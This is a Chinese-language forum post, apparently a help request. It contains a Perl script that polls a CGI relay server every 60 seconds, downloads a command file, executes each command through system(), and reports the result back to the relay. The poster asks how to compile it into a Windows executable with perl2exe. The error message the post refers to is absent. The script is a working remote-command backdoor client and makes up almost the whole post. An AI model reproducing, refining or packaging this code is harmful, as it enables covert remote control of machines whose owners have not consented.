程序如下:
#!/usr/bin/perl
use strict;
use LWP;
my $ua = LWP::UserAgent->new;
while(1){
sleep(60);
main();
}
#运行后每60秒执行main函数
sub main{
$ua->mirror(' http://127.0.0.1/cgi-bin/B-dS.pl?sign=1','command.wG');
open(FILE,"<command.wG");
my @text = <FILE>;
chomp(@text);
close FILE;
#取得command.wg的镜像,读取指令
my %command = @text;
while (my($a,$b) = each (%command)) {
if(system("$a")){
my $url1 = ' http://127.0.0.1/cgi-bin/B-dS.pl?'."command=$a&return=failed";
re($url1);
}else{
my $url2 = ' http://127.0.0.1/cgi-bin/B-dS.pl?'."command=$a&return=done";
re($url2);
}
}
#指令执行后,将结果反馈回中转服务器
}
sub re{
my $url = $_[0];
my $request = HTTP::Request->new(GET=>$url);
my $a = $ua-> request($request);
}
#re函数反馈执行结果
用perl2exe 9.110编译时显示错误如下:
恳请高手指教!